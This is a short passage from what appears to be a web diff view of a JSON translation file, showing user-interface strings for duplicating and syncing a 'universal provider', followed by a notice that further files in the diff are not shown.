},
"universalProvider": {
"duplicate": "Duplicate",
"duplicatedAndSynced": "Universal provider duplicated and synced",

Some files were not shown because too many files have changed in this diff Show More